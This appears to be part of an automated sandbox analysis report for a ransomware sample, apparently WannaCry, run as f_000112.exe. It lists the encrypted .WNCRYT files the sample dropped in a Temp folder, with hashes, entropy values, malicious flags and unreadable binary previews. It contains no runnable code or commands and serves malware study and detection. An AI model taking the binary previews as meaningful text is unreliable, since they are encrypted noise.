                                                                                                                                                                              Preview:..z..$....LB..'.>.Z.;..K^g....$u,l.z.ae..N.5.Y.U...+.'....@E.:v..~.\Qa.....././r".C.>....2..=?..va.']1......+(u..@.*&.q3@...o.!fG.....j.|..6%8c..M.m.A...<b.Pr.A.nK .#i.\.)..f.e..U....?r.A.0x..BM4*....O.j$...u.wZTB|._uB..c..p... ..M..>Yz..9[H..W.^YO.<+1.}...0.Ty<.:u..$.L..b......:O.Y..37.ui!q..?......X.S.U3...v%6..i..:.L.-.........4..9+..0...2.X.%.,..|.'2e.O...@.G..>....r&_.H..C{ds......Ac..-.....+eV.\.||...9%...RR....o...%4.8..9i....S.8.k..%....9.....Hj.@I~.AR*..e........_.}QvG.......'...@$.LA7~.....[..w..9.........%Eug'..}.*3....f.}.....xko..u|...n.n....p.Eb..(..q .]..tu.}^a.....`|..@....R.Hx...zx).#...G...9.."..qCP...&...!...o?E.7.T.-.`.C.%.(..l..{...n....JC.`..m..HW...?*.....<2y1R.%.lf.......e.....J.B+.0*..*....;...._Z....'.y.Qv..Hs...$n...=.F./.K...H......@...T..,.....H........m...{....^v+.m.y&........ 2....5*..>..Zs......f....^......%...}.OW...O.}G..........?c.7..}0|F../z.Gw..H]........XU..Y.#1(......OD....B....<*F...*..c.Dv.......~t/...H..S

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9918575014540325
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:v7QFIa0JdTXJRAXPJ0pIaWygbOiUwA1fgQVukNAEoGdBCwuj/mrfOpW+v3h:vkFAXo/J0pIaWO+A1fgU/oGdBXujQKvh
                                                                                                                                                                              MD5:8993B97046B60B9C213B37E77533BA28
                                                                                                                                                                              SHA1:A04D16E4227D81C703BD2BFC5E56764D8B909EC2
                                                                                                                                                                              SHA-256:CCE9917727E14E866903186B5422C3EC5DDB0166A4F8E52989D81310EA103B1B
                                                                                                                                                                              SHA-512:74B4447A10049759807D3B580780577A611F9EA094585AFD5B5A7E64EF639C8E9637F8EE9C427A6B88554582AD2AAA783C66B753DA13DFD6A5F4639A1FF7458D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,.JE......Qg..s.`...p...C..a.a......q.`<+?;I.V.P.E..%..g..d.:'.H....c.6S..8...*[T..q...q.t.7.<....e..x.8...q.....m......nH....i..,..Q$.k,..Xe._...A..'..w.".&G.............I5Z..F.*.....E0a. +0Lu..cr...+...e./.<..v.z/|.....i..k#......c.{.......`.............T....Y..q.{..G...C..l#....~]!.=..P.*{........p..x)IY....,..S...5..1;!{_.!.e.*$..rIdm..PzY.s...Y.Zw..F......N."M.Ps.j..W..._.......>.......>p>..X....4.8........r..7...z..c.WZ..=.:."r1X....f.A.8.......Rzf<.0S.".Gi...~.....D..-.B...N.........@;Q..........wAO`>.+=k=...H.....u..7.h.B....J....UL.%......F.fDLb.c.............1........G.w.(L.K.<..42..==8b..V.$.&..L..~..@<7>...PVJ2..@..".y(..h.g..uY..<...sL.g.Z....p../..&....@.&.g....?b'.f..Q..XG..d..0y.4@2....e-nM<J.%"m!...C...+...Z{....m..%.&.n.T?..]Vy....6qX.a.......=8\.....L..Z.....).....I8......33K\.}@....=..,.....Y..m7.w.U;:d...(.P..y.|.GCI..a....|.>..<\...'.Y4.9C.A../!..f...Q..`..$-..g.....OU....,1.*tP.v....9_..".).f.E...x.Tr..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\19.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.792622560545607
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:paeikMvqRVN5kNEwkBztY9Vi9FB69C+QrnuxslVxFWbjo:prikMOV/kNp0z+8pomuQ+o
                                                                                                                                                                              MD5:50876EB83ADDF0912EC7ADC4F98CAA75
                                                                                                                                                                              SHA1:68CEA8F8D4DFF5EF1DE047CFCBE1BAF69DDB6861
                                                                                                                                                                              SHA-256:4D7F37E0B0000F5C00C2E6917B67D06CA0C0C8E198834BCE09E8BC9A0E7DF5D1
                                                                                                                                                                              SHA-512:30A182D8D2ACCC3BEA4C0D7FE07CAA71704279104CE947162C3A9A8D63DDEB5ADB254AAAE4E035BF6BC16BA9432BCC735742384E7F5C4E37942CC8DCB00866AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..n...%...".W.o*wG2.e..',..|].....X...{7.....Dh..!.~.KD.;.1.."Y=.Jf../.qM..s.......v.i?...4W#\wb..&.B...B...J|.d2u.)E..#._Wv....Lc.......+tO.[G.d.b.2.@.H.b.0.\..2fA.q...T.N..y.$...).AJx..^......%.......,)j?X.E....G..nn..(d.L..3.|..;Ky....`...p1..-*)c.W...e.Qn.3..'...HP.,.6..dKZ..Pi..^.-<N.un+....^v&+..;.ZOF....b.Y..Dh.>_...B.{.4.c.m|...:HD~ .*T...5k...J.n..P...8.%..j..aEk....@..0K.\.P....}!A".....UMMC..h..C..8m....>..... .B.n.P4.ym.A<.b{.]_ ......n_?N..!H.G.E........g.m...E>.U.........q..d......ZGHv.|..VU1qw4..mj.0...0..qZ...p*......{Z..R.........S.>Z.LbyL.:+.y...`..........i.dp.V7.Mr5..J..'(..V...u..+.......^.%m_...0.tz.q4.m.....Y..F./g..q...ZI7.y....s..........T.T....5Mi.....Q7.A+.q......g...2...../LJ....%....v......Ep.h.n.;l..?&q..X....}.s..k.pw|ll....A.h..>k..K.u@Y|ic.k....t....N`!..W.P@H..+QG.r..IYI.K.f......|..k..5.{.#&.....kS.H...D..wfw....%.P.E.`.5<.z4..jX.."....l...$Cl..vN.U.g.=.Na=.@#N^.Y,.|y......)/....Gvl._.w..6#].)a.|..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\2.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.798393327846543
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:sqlagLPcfwY6TUKxOhlQuVU+Tjs+FwbzMCiuMHmmsbP6zH:sql/F7TnxVEjFKMPxGFP6H
                                                                                                                                                                              MD5:DA22D06C18AA0A106CD3B063740E4995
                                                                                                                                                                              SHA1:9E30299679F024A63A9A4884456805BFDBFACC85
                                                                                                                                                                              SHA-256:CCED393311EC4B5067895A2E0EE799F9C260FDFF6D9AF5ED036B0AD1818DA0BC
                                                                                                                                                                              SHA-512:6457F10B2A52BCD7E899EA703804A19970E986281B7943E883CACC652BF00FB002FE78ADA18280D0DD2E28CCF3E43788CE4D42E51B3D39C29F7D022368A53193
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..6..T...C..D.^..8......>T2Ql=..#X.r.........}.D.n.^....*.D.(}..2.hL9.).$...&....YQ....3....Uk.4.Us.M.l...Oe..._.[._..BR)T.....}....]mv.`.4=...)...I1..m...(.NB].....+s..].O<.,6..$.".M.....#....O..H..z...)..5..J..;q.e0.W..C......W.A..%9..X..9.,$h.....F9...o.Q.{..E..Z.P.....f.j.f[....%.~.1}..J...../}y>(...|..p.KPK!....+.\...)...\.&..U.!..f.}......;....zL4..s.R6.R-DI.p......iV5:.1[-.PX2.b.m......IV4..=.)...H.A...0..I.\.b.D..._F.@..<C..Er....{...p.K..=..F9....>E..y..@T.ML../y.8.BWb....u{.....4.,-8....tKn....=.N.....T.....%.=....>.z.oo#...vW+...[.R.A}vmT.z.f.I....5.....Z.~...?.'sk..o..%..`TeL.Y...F....cp.....o...".>]2...\.|m.......L.7Z~.....,9hc.2mgo.....V..d.V....kE..kY.o>4_`q.H..g...$O.I..k..d..O...F&4.O.._}.98.....?....m...I..q3..WU.........?.j..X.L....hk...:34....".`.7...}.^...k..3..&..P.......j2...2.JW.\.K|4.F..s.D....h.Yu.d3.^..4?:#....P%H.F...E.E.%l.{..L.z.c.....+....{RU..7.{....x....@.....}...T>v.b.U.......F...!..:`G..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\20.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.793893221326175
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:j/Jg+TIzjWXXrgAY3lJpYsqgb8Gn/2nA8aHDIDOpJ7Xq5tyy/upnCn:jxg+TzQJpggb8C2nATH8DiBCn
                                                                                                                                                                              MD5:A89916EC72D3E62A1CA10D09ECE30B39
                                                                                                                                                                              SHA1:C457E4EA8C3227FE7C34417E51F429E5FB38D8CC
                                                                                                                                                                              SHA-256:C03885454B57ED34464C29A3FCDD1A200C8E62EA0FF7FC4DD465C8B135F18A14
                                                                                                                                                                              SHA-512:9AE154B2C5CBCEA668EBC2E4FC287C21AA2174CDA62A88FAD50AF07A811353054C024D33602CED10C5BB64E79AD3CDA5C359C500274DFB4A35EA96CF8EAB47AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.U.(.x.l.*..=.]NFL....x.|!by.+WT5Q....D...|...z.....`v... .T.........HD..'k.*..m..)..&...5.4#|...Q2<<.!......~.U..H..AcL.._...W......j..*..XO....X.'...9.3BU...*l......aQ^..y......;:b'...O.m..3.%".9htj^.."K.-l..:m..qG>.......)#....../.ZX%Y....X...V...(.$6R{:..(........bPc,.c....j;......9gv....K.....c-.L...9.<..e.N....y'2.. .|....0L.o.=;...o.g.....j..3...2.+y1I......<..U.a.J.U..!c.;..D.cHT0.nA.x......[.W.......@...K..n.j...,.P..a.:.].......=`... .P..PfD@..x.s.(.O......e..z..}.Y..v..M..3e.S..V1.p5,hD....{.......Q..=...(..B.6o.".Y,.Z.a(.....?\..B..G..0...i.Sy.......'..........&.5.I....*|.%!.}..6....WN.T.......8..C(,-.......K.5.R.....#?I_.../F.........z.01.[.W............t..p....sfMM..............L.e...L.%..N..}y).#".h....k...g..A.._.b...>.A..f..*u$.iL..f.9.....D%..U.1.H.]}..&R...I.....NG...').(xY5...\q-..\}.A....(m..N.\...#X.U......&GQ....u...-.Z....f>..V..j...]Q...\.7..>.....'Z..e-..../6{.......!..Oz1.qFsM....uW.J.zg.......3L.q.'.*.kB3.v.J.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\21.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.781450266922418
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:jBw+suWMGsIqEsC4v9QaUE2xjR4w4tgG4C8UutxaHKg1jmN5pihk:jcwsD4v9RUjxjKwxG29xkusk
                                                                                                                                                                              MD5:364F73F1259BB7285B317AE7D6221C24
                                                                                                                                                                              SHA1:B5F975DBC816F1851C8D80E57875307E0B0C73E9
                                                                                                                                                                              SHA-256:EA03942CEBA01D3CB1465DA5FE0ED71AA553474164452892B8451655F2F95219
                                                                                                                                                                              SHA-512:7DBC08F6E912F1B14C2C4754897265D6FFDDF34B707A8CB404F1CD31156896C293455463EB7F01B0046955C8691FBA58EDC0B429130177F4ED2CB5F207C9E0A4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:. ~N.....[Z...#......._m.~...9Y@.o.NAkN._.R.uQ.Q.Weg...G:..s..6F....u.wO....$..o....QQ6..".A..%!.................g..NLcO.f..IM.J..r...Y.....Jr..0}..!...&.e..gN...Q].M.).`i.,...O@.T..l..\.a)..ku..n...Fj9.3....."..F..x(...v..(U'.y.\..]P^...G3....b.Pe."^43m.o.*(l@...o.DV....*<.|.B........:....U..%3h..BS.m........6s..Qu.......&|N.8.$......+CbNb0[UR..."....RU....h..BB..W.._.P.....6...K......l...RY<T.....%...j.8R..N.o.>......<L....uM......FU9.QpV.I.|.. >.4.4.bt.,....[.o.....5.........%.UTjFw..A)..............,..].Hz...oQ..T.......a.....".Z.Aw..g...iK..R...K....x.DN)..@;..V}..D........e..cZ).\Z.....Hl..R.v...*.n......R..{....Wv..]..*5...J~\".}.J..r.~*h..~G?.'.lym...g....\.C..:,.]...R..9.c../k.........l..ho4v....z....8..>..(........&.h.'e.Fc.I.@..V.*3.ki.F<....9.A.^f...T..r.G?U.a.4_.Fv.'....NbyV..e>.%..y...,......ov.g..s,...S....,.2.[.Vv.*...5y........U...$8G..Z.....F-I....L.A.MB."...,.c...mP..w..k..4.....)...<.......>.<._..s....

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\22.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.816925335153227
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:08eUbhuhTbMf2KzHVvKhEPCyj3Ysmbt+z5IVBC9NCAs7tl9:0ZUWbMu01ShE/j3Ysmkz524G7J
                                                                                                                                                                              MD5:4CF8864F4D8FEEB3D973EC00C86E5FDC
                                                                                                                                                                              SHA1:3741704E78F776B5D8A71232299C772F69317FA3
                                                                                                                                                                              SHA-256:06E58C5ED2200B6DEB765098490C5282ABA3992D56652A345BBFD9D20FCB767A
                                                                                                                                                                              SHA-512:24824566C9133EB00A8137C3B7EE772867C28698FB675057767247EE87EBB281144F007971F7DA03A3D8275463824B1DE1E7CDBE6A9EB32E736C914B339B1A6B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.h..?.......q....@=m.......y..&.'6..k......r.6...a..Xv..H1b..7.P...u..?.....\..M.O...F.l.~'...%.v3>..3........9......<..@..2.m. W..r.-....?.>...e....O...L.r.."'....{..,G=.....8*a...k....NCh5.f).0..g_..ap...8s.U5*.........r..BQ.....[.fI.i..S.N..qH.!.1-...n.".(...B..\U...}9....[..~0.......#;..3..#[.|..+.0l.}...K.jN......y...61L....j..@.X......F..G....Co.<...o.q..p...k...1..W.... ..z.6...v@.q`...E...........Ao..Z1.n...(.x...u.3.:..c..Y9....JZ.18..!i..:..L..*a.....WL..'t..l.c.&.<....`....&d~....7.Ry..J..3..\.lF.+hS.g 0?.R2....w..;..!.S..M...s...5...}....T..i.....{.,..2..m.#.t..X....s..o..rv..............S..hj _B...7.pj.G5...P..:.J..).0......a..-eV..w..h.5.^U3=S.2...a...Y..7k....7.Xq....|.CC|=.1.\.x.iu....t.).$Uf.$..s:;..s.C...$.x...z...C./s....:.M......)...;..,._GKo...."....up..f.k.<..Q.;.../e...@.NF.x.86..T..".QK."...n)CYli.R.....e.c...m........F....J..g.<.t..[.T.K,..[..n.P.X.j_....^..:.....}..B...'5.H....rXu...<....u.6.[...Gra...>V.hOi.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\23.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.804490633989969
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:em5qowsNb4hzfBiJQR/m0JSFCQ7plh7Hm1oQ50KSXFp:em5bNb43gQFm0JSFZ7/hS1oQoj
                                                                                                                                                                              MD5:8BEDBD27EA5ED2AC8ABB76EFE4A90A93
                                                                                                                                                                              SHA1:B50ADDD8A4CBF46553AEDF7B15F8DBB681A086CC
                                                                                                                                                                              SHA-256:805FAD3410FFA8EE8C3A532F4B6D53944938D9A6AFCF9535A3DB41A3A67A7027
                                                                                                                                                                              SHA-512:25039BADCEAEBD167C91547A4648926E2D5814E589111FA4DCDAFEB198D954198B7BCD79ADFD1C88AC9D0FFA61BB9A3C6DC066EA45B0866A221E7A0DD8C29206
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.(u\.0.1.,B.i.!..O..>.S...$..].U(....Eo?...Sk.g...t. .#...4C...?D......4.. ..%.%N.Bj%.:..ps.b.[.Ox........b.'........[v..jb>.......,bK...Z.5...[ ......K.#.q.$.Fg.Ea..UG.{.-.V+>..u.J......|...D...h.TJn.....5..<.E..(O(+..O.....%4...BR5P3..ne0..s.....J..zrJ{.1.4gV......<.Nc..oY.n.:...3I9......Ov.N.....{aJ...Xo..xl..fA......6...~......,E.6.'.;{.5...:.K..._y.......Cf1>D..C..c1....E.,.8{}..........>...{.....C..}...p'..5A...'.\.?.`h...E.*.I....1.....D.&..l[},..O.*Q....l..90.Y;...M.......=....7..[...@.!b..@.......}..kPJ....b'n..hi.=I...>...t.q..iM..&.I..~...,..q....IBoU.:.%..*\MC.X..5x.]q..".!...#..#Q.-...Z.ZP..W.1.j9Z6.\....q)cK_U..wl..,..*....^...: .....:..7'.o..!kn..m.!...4....%..S.. ..V...W_.....:.T;...p..\6.Yi.M...6......Z.z..Yd.bT.#a.......B.-C.6..bZ.q.h../.k..?.M......H..q..w.C......'.?.j.2....]cM.D..6..@D#.B..(%.t...m..X.(/.%..[5.h.m~..I.h0..~.t)....i4.3..b...h...x.^.DS+..... .......u.....C.>.lpl..N.Z..n=,..7.......L@..g.:..[........

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\24.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.832547153027408
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:DdDoweOPLuWHH/wX0eYb0FzRjqcdf9iFOlQs1BgS2YFFZs:xDokTuW4XDYaRzT2Vs1OS23
                                                                                                                                                                              MD5:F84949729AF40BDF349D78F40BA466C1
                                                                                                                                                                              SHA1:C0749844B6E6AB7328A951DD19EE7B9B35C38C9A
                                                                                                                                                                              SHA-256:DD2B6D23E404DFC839B17086F8EE89EBF9089587CE5B52C1E814CAFF9255C31A
                                                                                                                                                                              SHA-512:3B3B488CFC6E017054F1FE911D6E6C0AF11EE8454B0CA3730EDA5C1932D982BED8A5B1BB41FB6C7E44140C715B2BC174EC827235D0C2CD36F36C15A7273028FC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..t...b.2...h.u..;t....p.M..u\Y.....U.X..Ku.h}...za..b.z.M..J.......Z.0......r..QXS\..l0.^.b.......~.......-.y...[^.T..HO../K..Z...0Q.F4.7()...%9....U.....i.6H*..Wnu.v..'m.....P+.Ae..J....<.I.....I..y.{W@U(.=r..o.M.b..D....>....(F.X..3.H.c..h...d&.......E....U..>....T.Ah.|..~..Hi.....1..#'OD..W....2.......:o..Q_U.a.&.C..Z....)..e..F/..w.([.."...)#...W'..Id..I.6J6A..l.. .....<...d.h.,..~.$..-=....~.g.a..d...-B.8...>.GCZ......o..o.+$k'...]._.Nl|._ ..x...B..b.=....5.}.w...!v..'s...vof..C&.....p....a....%..w..#..DQ....|...G.0...|T....$...+.....&$S...f..0.]$..U....m.Y...U....7...0.;....S=.8........4.DP.ToG..b]..^nm.L. .........._2...F.R6..{....4.._Z......;..(..7...K..0I.:H.SjI......~kN....W.Q....f.....z..^ni...G\+..-..n8.M..4....6.....!.^Iw.l[.....>Ak.3L.".wv.S.vK...T.-...B...G.n..}.4F.c.d>.m.[../..%..[N.-.....#.!i_*7..T......2lJ.k..?AB..V$dL.... &.C.LL6.G......+vr.m.........=Bl.WS..q.........'...$. ..G..u..x0..|"1...ha.......L....!.f5t<..y...

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\25.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.831251260138796
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:QJNdOwJeL5Sg1+YlxwHyIwbY8tI2CpSpUuqOiZumnkHt:wNdOQeL5Sg1+iwHyIwkcIFEpUu/iEmkN
                                                                                                                                                                              MD5:18546AE352926F70D7467BCB12B426C6
                                                                                                                                                                              SHA1:9AC6E21A02B3D36134868849F20BD16372C53179
                                                                                                                                                                              SHA-256:2683FEB1518ECFFAECA9FD52E32F46BC2F7A9EA5F4094623E80E6F6584005B36
                                                                                                                                                                              SHA-512:8A8FBC09444E2E1806961E0D475D5B55AECF8E2EFDDF77D880C5DA31CA93C7405A492759E23BAC9419901AEB87FDAEDBF745773EDA5EA231425336BED399375E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...+..A.."w...1G..9.v.A.....i.h..j....E4....y.n............i{3.$..*..N.......W....H/.*...4....RY.$..);4.N.H*.,5W.4.-...a.n0L..%.b.....Ej)t.;MJ..43._.=?.v.4.....o.E....y.G..RJ;...W*.jX...Xv.."]4.......P...`.L.|.2..RS..S...Lc+$=.K..W.P...\..,.&],wj.y.:.%.s.0.f.z...o..@,6...Oj..a9.R..o..C.@#..|....\.~.u.P...b...S.E..6.../..#..D..uz..+.2.Ut^.S...X..(31...$...8.....c'....R..&.......(5....."..jr.F...Q.0.U6..Su..`.|*..J...(5..VLQ.u...K"..n.v.fJ..zM..Fl..._..`RE.Fp..%.wBB....O7..~./..tW:=w*.(..J7].....d...[ta.U.V..V`..a..E....<...X.+X...%k.^.....>....~){..gK..&.x......Yx....U8=sq..;.Sjw.Sj-r6#.1...k.......Ri.^s.e...ut-Z....4.....).U.%.zi&0.wl......1..)....Yg.&....paL#...O.t..7...*<...p.8.aq./.BAT'GK.....y....M..".]P..z..[.B..3.T.....u..H...F...d.J.*D....&.#..d..g..].....'.......c..Wj{..a4;,....J.h:....L..M.;;.....|.:6... .M.j>.4W .p.".x...Y....x5.;.2.zQ.H.X.l2.g...I........Q.D.wlY..c-.....mLs.e..L..I..}..^...Tk.s.P...:.Kw.,....O.Y.NR....

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\26.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.781076199453879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:JY8trET5tyBVlYpUCa1Zjk5Du/G/7vxDTPz/wK6s1PyF:LtAVCVSW5jkbjxDv/d6s1o
                                                                                                                                                                              MD5:BDC98C0D9D4B8A67A25769C513C4F6F2
                                                                                                                                                                              SHA1:38BD5CF8A4962902D3DF965914F724EA7CE46D5F
                                                                                                                                                                              SHA-256:B1FD3345A55DEC5998A1159DFF47DD9ED504AFE0B23CE37DBC2236B2550AC239
                                                                                                                                                                              SHA-512:4778C7A3A0071A6B50C868C8563C4CBACC66A101B5614BFACB846AB8AC2C9CC640796E4A885F1BBB05C32397436CD91827436EE6AFCEA99009730784B36E6E2F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:eY.....&+yF?L.tlP..X. >1G[.1.....O..x.^<..M....R.]uR.O6. ..|[.;.XI.$..E|.6T.'....7w..;.....d.J...D;......~..DbE..@....x.Hiq..{.(..|%...........2.rf._.aR........R.$jjM.....7..........J..Air.@Go.-..]..QW5._....."1(....1..Px7X! .}.G.x..+...?,.....:BX=...do.C.<g.......>...Z......Z.....'4..n.R/oFY..@.xvV>.% ..Rr4AV'~..M...!E...H...........a...o...2.z..g....C..Wcx.%..$....I@.V..x..F...4Z<......F@....Y(.^..IiT....$+...L..AO.w.U;.....e....l"...U.icj..S{.i..^........}.1.:li.v......@.[yZ2.....,.J..Rl+. .W.Ii../?..T[.|..+...`@.....@.w..4."..[.[...2......6.F.m.vl2Z.].._.#......M2.9.O.(K..:.Y^R...^......<?...S....&...-akQw-..!...s...]|.V.#o7a.W.kFo..z.sbWg.E..R-sh...mJu.(........-.*......w...{6.M-.....:.^..?..u...s...'.....c.l.Z.(f..........b.(bF.}...|$.2..->.G.......?..)...rH.7|...|L0.C......x.../.`k..L."'4J.5..~...S.u\...'.M...`......N8p...K..\i......0..lV..v....1@2.k.3....T7^U].R..ciBCW....&.a.l.K..u....,...5.~...Dq`.E...>e...M.....jw...'dk$.....{?

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\27.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.793702372322508
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ukjaxCGf+nTRWyP8yb1+SeS0CLWgaGSHZa2p1UilvrTK+vRrn:RslfaTjPVkzS8Z7p1UarTK+prn
                                                                                                                                                                              MD5:C9E9DDCF6B52CF5B518A03B97304BBF5
                                                                                                                                                                              SHA1:F42E4E834D9C7D9D11988B659E60D75B524B3301
                                                                                                                                                                              SHA-256:1CD3CF1E4055FD0061BEC50156F6449F98738C403167B042CE039D9643C694F8
                                                                                                                                                                              SHA-512:069D6D27995619BA9EE09649E29646DBAFD41FC69F22463F1CA29E4CB8135DE96F50FCEB480C9A08FF5F80DBB88857CA14EFD0004E935DDC3C8AF6475C3910A7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.I.M9...1....~..y..`...q)y.h.N.aj;.3.b.LhB...o.~.`....../s..^."..r..F1r.pF:..#.9E.[*AY.,..(..&d1....q... Q...u.;,.f@.3)._.s.c......z..`.v..A.0-.Z.=.....K..%CA......4..Iqz.3..~...f.QH.2mX..l.eU.b...ug..R..nE...[U.I.7^.....OC....b8...z.M.$...........5...._)@..c.n./..J....A.s....j...U.....L.g.R|+..i..wa...t..L..k..A.JVH;..X......O.I.=.W,Q..W.=!...E.$G.....s....q..u....M...!g`.2..J..Kb.....c}.s.....h.U....n...|.....D....3K.1.w.(XJ.....a).X!......./..\....T...*G{..>.1$..Vj.r.![o*...sI*.o...q.p. ..[..i....&..CO...E....<..^.....!.C>Q?8....1J.C{.......rK.z..&..@O.E^...N}.b..V.>\..wp.....o...7..8F2oF....%.Q....N..P..l.w.os.#~{Btk^...f.f.`....h....#.\e....A....+Y{M:P.S..v8o(.{%........5G.y................U>E...S..."..i&)V1.^._...*M7^lm .......%&1...b....p......q]V........gAQA..r..l.R_r.5;...$....,G...'...t@P........Q.$(Th... ..C.j..zN.Gb....6..o......4..byM.@C......;..O.....>.F.]...W..w..m......=.....M|.'|Gb-j8.\..m.....E.T*....N.tV..\.7..5".T

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\28.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.811588751062686
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:0+qgTpliWeCT3TXCAfcNGx/DzqcObZGKXO9rt1TSgSmNjNMiFRl:7qSeCT32A/qciGK+9fSlOxMsRl
                                                                                                                                                                              MD5:9FBD0853563825427FD446D4FE8536D8
                                                                                                                                                                              SHA1:AF354FCEA4D39BEAB41C4F7C1DD19F563280F8F2
                                                                                                                                                                              SHA-256:0A34F0B1A54160E008CD5F4C75EA28E865A02384E71310BA3117089076B8D261
                                                                                                                                                                              SHA-512:890BD8F434A9A0C698BE867A80C22FA56CBDA9F5AB9A721F2C7EDA57CFB78B45AA71F67232831CAE508ACC21C8C35C1B728A06E7AA21FBA7D2711C2BD9B8E6C4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
